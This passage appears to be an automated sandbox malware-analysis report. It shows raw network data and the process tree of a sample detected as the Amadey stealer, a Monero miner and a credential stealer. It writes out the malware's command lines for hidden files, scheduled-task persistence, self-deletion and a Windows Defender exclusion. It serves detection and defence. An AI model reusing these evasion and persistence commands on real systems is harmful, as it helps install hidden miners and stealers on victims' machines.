2024-12-19 02:09:59 UTC	1378	IN	Data Raw: 7f 3c fb cf 9b ee e5 f5 61 04 ec 17 45 da 7a 22 fb 89 b1 6e a8 3c 39 03 48 4f a6 38 c9 32 32 a0 f3 de db f8 ac f9 60 db 2c de a3 b3 61 f0 7f db 6b 32 72 05 34 1b 2e da 3b fe 0a b0 3c 31 bf 0a 3e 0c 9d 8f be a0 b8 2d 8b e3 17 00 96 b5 14 c6 0b 31 e5 33 f3 e2 f4 b8 62 fc eb 87 6b bf 83 6a ea 82 2f 67 5c a0 3f dc 66 9b 8b 69 3b 42 0d 62 b6 06 8c 74 8d dc 29 30 7a 57 67 e2 38 c1 23 00 6e 42 48 ca da bb f5 c7 01 f4 19 03 69 65 6d e5 b0 ea ec 8e f1 7e 27 fe 5c ec 10 5a 69 9d 5c b5 ed 55 10 9a 3c df c4 3d fa 6e 15 73 ba 43 75 e8 cd 0b 2f 23 f3 26 c1 81 f4 6a 6c 33 fd b4 fc 44 9e 68 cb 8b b7 8b 38 f0 26 cc 60 6b 6c 13 a0 48 72 54 63 ff d0 69 80 78 e0 0a d8 62 bb 4d 5d 85 36 3c 9e 83 4f 77 56 60 6d a4 18 2c 70 5e 18 63 5c 10 2b a2 6c 51 4c 48 dc 09 7a 55 4f f1 08 Data Ascii: <aEz"n<9HO822`,ak2r4.;<1>-13bkj/g\?fi;Bbt)0zWg8#nBHiem~'\Zi\U<=nsCu/#&jl3Dh8&`klHrTcixbM]6<OwV`m,p^c\+lQLHzUO
2024-12-19 02:09:59 UTC	1378	IN	Data Raw: cd 3a 89 7c 61 f9 ad e9 47 47 81 23 fc 3a 2f b5 f0 4d 0b 8b 29 d0 2b 7f 92 b1 2f ff 4c 92 2e ac dd 43 f6 04 93 d5 ff 41 01 3b 9a b7 74 94 f0 2d f7 6f fe c9 1a 4a e2 72 10 49 be 79 64 1e 59 98 c5 73 c1 2a d2 fa ae 9a 87 53 c6 22 fe 8d 75 6a ab 48 e1 0b c7 82 2f 89 a7 52 6e 2e fb 11 41 32 56 e6 f7 04 a9 c2 7e a9 73 03 b5 5e 4c b5 79 b8 36 79 89 d0 e1 a9 f6 25 00 ee 74 88 51 73 0e b8 8a 09 dd bc 9f 34 a0 74 5a 0c 14 42 ca 33 44 ed b5 46 6e e8 2b e7 68 75 d2 d0 6a 06 80 61 d9 4c 48 d3 75 e6 7b ea 03 9c 56 b3 9a a2 fe 7e 5d c7 98 7c ba a6 70 30 fc 93 de 65 4c 0d 22 8d ae 53 69 de 64 a8 93 ee 6e 80 34 db 95 7f e2 f3 f8 6e b6 ca 18 0f 9b bd 92 b3 88 92 2f a1 09 99 e0 be 9a da 67 4a 12 e3 a6 80 3e bc 60 ae d1 a3 80 48 74 82 1e 7c 29 e8 86 3a 66 74 63 bf 32 84 b6 Data Ascii: :\|aGG#:/M)+/L.CA;t-oJrIydYs*S"ujH/Rn.A2V~s^Ly6y%tQs4tZB3DFn+hujaLHu{V~]\|p0eL"Sidn4n/gJ>`Ht\|):ftc2
2024-12-19 02:09:59 UTC	1378	IN	Data Raw: 2e 34 d2 36 c0 1c 87 05 5c 19 ce a7 bd 39 4e 7d 8b 06 42 78 48 49 6f d7 9e dc 3a 51 28 cf d3 b8 60 bb 66 7f 15 75 62 46 09 a7 b7 e2 4e f9 4c ce 36 6b 96 d8 1c 3d 12 ab 4f fa 4a 93 46 1d e0 e5 da 7b 7e ea 20 1a 24 16 a4 57 46 00 78 d6 d2 52 42 48 61 fb 11 84 e4 88 38 35 08 87 fe d7 21 d2 15 3b b1 d6 32 14 35 9b f5 24 fd 97 82 12 89 fb c8 42 80 ab c0 fe 57 3f b0 f7 05 cf c8 4c 9d 0d 28 61 a6 4a ff df 92 66 f3 77 e4 f4 ab b8 1a cc e3 84 f3 c5 e8 a6 23 97 5e 97 2e 49 f7 87 b2 1c e7 c3 6d 90 57 d5 93 b3 a0 57 ea 3b 13 7f a6 ac 57 86 84 70 7a 33 ee a4 49 61 6c c4 db 59 bf 8b 5d d3 90 df 70 fd 12 fb 6f ef 9c ec 2b 51 d9 e7 01 c0 d1 e4 bd b0 75 e7 7c 94 e3 8c 0f 18 6c 6a 23 dc 80 94 92 65 ab fb 9e 3e e6 dd 0f dc 18 39 0c 3b 45 ff 79 45 9c 77 a8 ef 64 09 40 9f a1 Data Ascii: .46\9N}BxHIo:Q(`fubFNL6k=OJF{~ $WFxRBHa85!;25$BW?L(aJfw#^.ImWW;Wpz3IalY]po+Qu\|lj#e>9;EyEwd@
2024-12-19 02:09:59 UTC	1378	IN	Data Raw: 6f 27 c8 2d a7 9d ad 5b 54 d5 1a 44 4a cf 01 57 bf fa c7 40 0f 62 46 a9 78 3b 53 2e c9 60 34 8b 54 3e c2 aa 4c 64 e8 0f 4d 01 52 ca 2e b9 4a 41 71 e9 1a 17 8b 36 85 2b 37 1c b2 47 c3 92 79 78 44 aa e4 73 45 c3 7a ec a7 e8 f7 97 f9 e5 71 06 ae 79 53 00 5a b4 d4 63 52 3c 66 0d 2b ba 47 e1 89 5a ea fe 50 67 3d 24 e0 25 c3 bf 2c 06 02 81 ba 53 b7 8c e7 69 41 5d 67 e5 27 5f ec 50 ae ad 59 7c 47 c4 d3 9c 51 f8 c1 d4 af f7 51 63 69 25 2f 55 56 a6 7f 1d 5e 56 09 83 c4 2a 95 b4 0c d0 59 9a b3 d2 54 43 c2 53 ce ca 88 f2 ab 02 49 f5 6a 13 ba 37 af 1a e5 a9 c6 63 09 86 3a e5 69 a5 da 02 b7 22 96 08 04 32 f5 0f b5 82 78 1a 6a f8 99 d4 fd 19 e7 d9 d9 7c a0 8f df f7 83 e0 1f 60 60 97 60 39 64 30 6a d4 64 cd b7 ed b6 a7 f9 39 b4 fe 6f c4 7e 33 ca a7 36 25 c0 31 bf 78 3c Data Ascii: o'-[TDJW@bFx;S.`4T>LdMR.JAq6+7GyxDsEzqySZcR<f+GZPg=$%,SiA]g'_PY\|GQQci%/UV^V*YTCSIj7c:i"2xj\|```9d0jd9o~36%1x<
2024-12-19 02:09:59 UTC	1378	IN	Data Raw: ba 49 69 e7 8f 7d d1 5f af da 49 9c 64 28 98 59 36 b3 a4 1d f8 cb 15 30 7b 25 96 6a 09 2c f9 20 89 72 a7 05 a6 ea 8d 9a 4d 6f 93 43 f8 1a 0b 86 c5 cd 49 b1 ae e6 66 89 2c 31 6d 66 65 ba b9 26 f7 bc e2 7e 04 08 8b 2a 14 e9 10 fd 4f e9 bc c6 a4 d3 a8 ff e7 d6 37 51 ca 11 be 2b c4 19 d5 58 47 e5 06 47 a6 80 1f cd 2c cd 1b 2f fe bf 7a e4 22 a8 58 99 b7 c2 f4 2a 61 f9 4b 1f 10 3a 80 ad c6 6c c2 ad 0a e8 42 64 3a 1d 96 d8 35 ce 0e d9 3d a7 34 55 40 23 4e ec 0a 67 8f e3 ae f1 06 2c 05 91 70 68 31 70 bc 85 3c c2 34 7e 0b 71 0b ef a9 16 2d 07 43 97 d6 3c d9 85 4d 50 fa be f0 ac b9 0b 8b 20 9b 22 09 1f cb 88 e8 11 b7 86 f0 e6 ed 30 8d 84 c5 b5 0c 33 84 45 94 ff 9e 5f 82 1d d6 2a c6 a7 07 43 f5 be f1 7d dc 32 9e 71 98 2a 5e aa e3 b3 e4 3c fe fd 1c ba 1b fe 1d c0 d9 Data Ascii: Ii}_Id(Y60{%j, rMoCIf,1mfe&~O7Q+XGG,/z"XaK:lBd:5=4U@#Ng,ph1p<4~q-C<MP "03E_C}2q^<
2024-12-19 02:09:59 UTC	1378	IN	Data Raw: 52 e0 1f 58 23 09 4b ac 81 56 f8 11 a3 e9 9a 43 0c 60 01 1d ac 7a b7 e5 2b f8 87 42 a7 8f 08 53 15 76 f7 ad 7b 62 db 9b f9 e8 88 8f 97 0a 19 31 58 c4 e7 2b 34 56 b1 00 87 dc 42 8f cf 0b 67 f8 38 50 45 9a 20 8e fa c9 f1 85 14 bc 23 26 13 67 95 23 3c fc 05 7b 68 9c 69 8d 73 5b fc c0 db 6e da 60 44 01 ed 8b 92 68 d9 2c 74 c3 17 41 9d 40 7d e1 6f c6 35 d8 97 5d ee 57 5b 90 e9 51 03 2c 68 50 87 88 56 9d 16 a8 1b ac 3f 66 16 fd ff b9 0c 32 82 96 49 d1 4a 63 f5 a8 47 9b 08 b8 45 61 aa 63 64 be c9 9a f2 0b dd 64 ef 60 ad 54 73 91 db b5 0f 39 94 2a 4d b1 f6 81 20 51 06 ac df e4 cd 78 af 96 19 fe 1a c8 4a 65 e8 79 5d cc c5 8d d9 1d f9 22 55 8a 86 da 2b f0 00 1c 49 5f d3 1c 62 bf 22 c3 33 ec d2 ad d3 ab 98 d2 42 8b 64 a6 41 08 fd 7f a6 3c da c3 89 a7 2e 33 dc 08 02 Data Ascii: RX#KVC`z+BSv{b1X+4VBg8PE #&g#<{his[n`Dh,tA@}o5]W[Q,hPV?f2IJcGEacdd`Ts9*M QxJey]"U+I_b"3BdA<.3

Target ID:	0
Start time:	21:07:54
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xaf0000
File size:	2'966'528 bytes
MD5 hash:	0AFE3BC3B68DDB4EBB3878A01A8BCD9A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2071967842.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2031206255.0000000004B70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:07:56
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x5f0000
File size:	2'966'528 bytes
MD5 hash:	0AFE3BC3B68DDB4EBB3878A01A8BCD9A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2059203986.0000000005110000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2101089794.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:07:57
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x5f0000
File size:	2'966'528 bytes
MD5 hash:	0AFE3BC3B68DDB4EBB3878A01A8BCD9A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2062069633.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2102603392.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	21:09:00
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x5f0000
File size:	2'966'528 bytes
MD5 hash:	0AFE3BC3B68DDB4EBB3878A01A8BCD9A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2693165990.0000000005040000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	21:09:17
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe"
Imagebase:	0x400000
File size:	4'438'776 bytes
MD5 hash:	3A425626CBD40345F5B8DDDD6B2B9EFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 88%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	21:09:20
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Imagebase:	0x7ff7edcd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	21:09:20
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	21:09:21
Start date:	18/12/2024
Path:	C:\Windows\System32\mode.com
Wow64 process (32bit):	false
Commandline:	mode 65,10
Imagebase:	0x7ff754130000
File size:	33'280 bytes
MD5 hash:	BEA7464830980BF7C0490307DB4FC875
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	21:09:21
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Imagebase:	0xa30000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	21:09:21
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_7.zip -oextracted
Imagebase:	0xa30000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	21:09:21
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_6.zip -oextracted
Imagebase:	0xa30000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	21:09:21
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_5.zip -oextracted
Imagebase:	0xa30000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	21:09:21
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_4.zip -oextracted
Imagebase:	0xa30000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	21:09:22
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_3.zip -oextracted
Imagebase:	0xa30000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	21:09:22
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_2.zip -oextracted
Imagebase:	0xa30000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	21:09:22
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_1.zip -oextracted
Imagebase:	0xa30000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	21:09:22
Start date:	18/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H "in.exe"
Imagebase:	0x7ff64b9b0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	21:09:22
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\in.exe
Wow64 process (32bit):	false
Commandline:	"in.exe"
Imagebase:	0x7ff79d920000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	21:09:22
Start date:	18/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff64b9b0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	21:09:22
Start date:	18/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff64b9b0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	21:09:22
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	21:09:22
Start date:	18/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Imagebase:	0x7ff77fd40000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	21:09:22
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	21:09:22
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.0.0.1; del in.exe
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	21:09:22
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	21:09:22
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	21:09:24
Start date:	18/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.0.0.1
Imagebase:	0x7ff679130000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	21:09:24
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff6e93a0000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001E.00000003.2930529971.000001CF4BDC0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: 0000001E.00000003.2930529971.000001CF4BDC0000.00000004.00000001.00020000.00000000.sdmp, Author: Florian Roth Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: 0000001E.00000003.2930529971.000001CF4BDC0000.00000004.00000001.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 67%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	21:09:24
Start date:	18/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	explorer.exe
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000002.2937370347.000000014040B000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000002.2937239873.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000002.2935994024.000000000063B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000002.2935994024.0000000000617000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	21:09:24
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	21:09:24
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	21:09:25
Start date:	18/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.1.10.1
Imagebase:	0x7ff679130000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	21:09:25
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe"
Imagebase:	0x1b0000
File size:	1'880'576 bytes
MD5 hash:	FF279F4E5B1C6FBDA804D2437C2DBDC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000023.00000003.3081437963.0000000000EC7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000023.00000003.3103034955.0000000000E84000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000023.00000003.3081127174.0000000000EC4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000023.00000003.3081290097.0000000000E84000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	21:09:37
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe"
Imagebase:	0x320000
File size:	4'462'080 bytes
MD5 hash:	D6CFEC5F8C250D92D751030C95D46AEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	21:09:42
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe"
Imagebase:	0x280000
File size:	21'504 bytes
MD5 hash:	14BECDF1E2402E9AA6C2BE0E6167041E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 11%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	21:09:42
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	21:09:44
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" Add-MpPreference -ExclusionPath "C:\jcyhknhe"
Imagebase:	0x910000
